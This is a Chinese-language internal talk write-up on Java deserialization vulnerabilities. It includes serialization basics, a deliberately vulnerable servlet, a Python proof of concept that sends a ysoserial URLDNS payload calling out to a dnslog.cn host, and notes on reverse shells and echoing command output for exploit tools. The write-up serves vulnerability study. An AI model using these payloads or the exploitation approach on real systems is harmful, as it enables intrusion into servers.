浅析Java反序列化漏洞议题

一次部门、团队内部分享议题，拿出来分享一下

反序列化漏洞历史

2015年11月6日，FoxGlove Security安全团队的@breenmachine 发布的一篇博客中介绍了如何利用Java反序列化漏洞，来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用，实现远程代码执行。

然而事实上，博客作者并不是漏洞发现者。博客中提到，早在2015年的1月28号，Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了一个报告[5]，报告中介绍了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行，当时并没有引起太大的关注，但是在博主看来，这是2015年最被低估的漏洞。

确实，Apache Commons Collections这样的基础库非常多的Java应用都在用，一旦编程人员误用了反序列化这一机制，使得用户输入可以直接被反序列化，就能导致任意代码执行，这是一个极其严重的问题，博客中提到的WebLogic等存在此问题的应用可能只是冰山一角。

虽然从@gebl和@frohoff的报告到现在已经过去了将近一年，但是@breenmachine的博客中提到的厂商也依然没有修复，而且国内的技术人员对这个问题的关注依然较少。为了帮助大家更好的理解它，尽快避免和修复这些问题，本文对此做了一个深入的漏洞原理和利用分析，最后对上面提到的这些受影响的应用，在全球范围内做一个大概的统计。

序列化与反序列化机制

序列化是让Java对象脱离Java运行环境的一种手段，可以有效的实现多平台之间的通信、对象持久化存储。

Java 序列化是指把 Java 对象转换为字节序列的过程，便于保存在内存、文件、数据库中，ObjectOutputStream类的 writeObject() 方法可以实现序列化。反序列化是指把字节序列恢复为 Java 对象的过程，ObjectInputStream 类的readObject()方法用于反序列化。

序列化的前提是要序列化的对象必须实现Java.io.Serializable接口。

代码实例：

编写一个学生类：

package com.company;

import java.io.Serializable;

public class Person implements Serializable {
    private int age;
    private String name;

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Person() {
    }

    public Person(int age, String name) {
        this.age = age;
        this.name = name;
    }
}

序列化代码：

package com.company;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class Main {

    public static void main(String[] args) throws IOException {
        Person xiaoming = new Person(18, "xiaoming");
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("1.txt"));

        oss.writeObject(xiaoming);
    }
}

反序列化代码：

    public static void main(String[] args) throws IOException, ClassNotFoundException {

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.txt"));
        Person person = (Person)ois.readObject();
        String name = person.getName();
        System.out.println(name);


    }
}

反序列化漏洞分析

在前面抛出的一个问题里面，反序列化明明是一个Java当中再正常不过的机制，为什么会产生反序列化漏洞呢？其实是因为在一些类中，会重写readobjetc方法。导致了反序列化的时候，调用的时候重写后的readobjetc方法调用了其他的一些方法，所以可能就会导致反序列化漏洞的产生。但是他并不是直接就能够去执行命令，而是需要通过一条构造好的恶意类，方法中的互相调用直到调用到Runtime这个方法才能去进行命令执行。在反序列化这一步骤并没有什么安全问题，但是如果反序列化的数据是可控的情况下，那么我们就可以从某个输入点，输入恶意代码，再去查找在哪个点，我们的输入会被一层一层的带去到我们的触发点去，而这一步叫做寻找利用链的步骤。

漏洞Demo

package com.test;

import com.sun.xml.internal.messaging.saaj.util.CharReader;

import javax.servlet.ServletException;
import javax.servlet.ServletInputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;

@WebServlet("/readServlet")
public class readServlet extends HttpServlet {

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        ServletInputStream is = request.getInputStream();
        String request_data = null;
        byte[] bytes = new byte[1024];

        int len;
        while ((len = is.read(bytes))!=-1){
            request_data = new String(bytes, 0, len);

        }
        System.out.println(request_data);
        ByteArrayInputStream tInputStringStream = new ByteArrayInputStream(request_data.getBytes());
        ObjectInputStream oos = new ObjectInputStream(tInputStringStream);
        try {
            Object o = oos.readObject();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    this.doPost(request, response);
    }
}

POC编写思路

在shiroscan里面其实用到的也是URLDNS链，在编写POC的时候，可以借助ysoserial工具辅助来进行编写POC。其实网上很多的poc都是借助ysoserial来进行生成payload的。

ysoserial地址：ysoserial

ysoserial是一款在Github开源的知名java 反序列化利用工具，里面集合了各种java反序列化payload；

poc代码：

# －*-* coding:utf-8
# @Time    :  2020/10/16 17:36
# @Author  : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog    ：https://www.cnblogs.com/nice0e3/
import subprocess
import requests

def res_data(dnslog_url):
    popen = subprocess.Popen(['java', '-jar', "ysoserial.jar", 'URLDNS', dnslog_url],shell=True,
                             stdout=subprocess.PIPE,
                             stderr=subprocess.PIPE,
                             stdin=subprocess.PIPE)

    payload = (popen.stdout.read())
    # print(payload)
    return payload


def send(Address_ip,yso_data):

        res = requests.post(url=Address_ip, data=yso_data)
        if res.status_code == 200:
            print("The request was successful.")
            print("res.status_code")
        else:
            print("error")
            print(res.status_code)


def help():
    print("command: python poc.py dnslog.cn Address_ip ")


def main():
    dnslog_url = "http://sizyq6.dnslog.cn"
    url = 'http://localhost:8080/yt_war_exploded/readServlet'
    payload_data = res_data(dnslog_url)
    # print(payload_data)
    send(url, payload_data)


if __name__ == '__main__':
    main()

这里是一段POC漏洞验证代码，使用了URLDNS链来触发url请求，验证反序列化漏洞的存在，在shiro的工具里面其实用的一个链也是URLDNS链，该链不依赖于第三方库。但是利用场景只是在一个能出网的环境下，才能去利用。在实战情况下大致就分为两种，一个是能直接出网的机器，一个是不能出网的机器。在能出网的情况下的利用方式就可以使用dnslog去验证漏洞，然后执行命令的时候也可以直接的去执行反弹shell的命令。拿到反弹的shell后再在CS上去执行命令。那么还有种就是不出网的机器，像这种情况只能去进行直接的构造命令执行的回显。

Exp编写要点

想要编写一个完整的exp工具例如，在一般情况下哪条利用链比较通用的。因为在CC1和CC3利用链中使用的是

AnnotationInvocationHandler这个类去构造利用链，这个类在高版本中对readobject方法进行了修改，导致没法利用。还有的就是需要去解决一下回显的问题，如果机器没法出网，那么这时候去构造命令执行回显，将执行命令的内容返还给我们。在研究weblogic、fastjson、shiro这些反序列化漏洞时，会遇到比较多的关于回显的问题。回显的方式有defineClass类加载器回显、URLClassLoader异常回显、tomcat中间件回显、远程加载回显等等方式。当然工具的话肯定是gui的工具用着顺手，要开发gui的就需要学习gui的开发框架。其实gui的和命令行的工具开发起来都差不多，无非就是多写一个输入框输入内容，然后在代码里面去获取一些内容，然后在进行执行。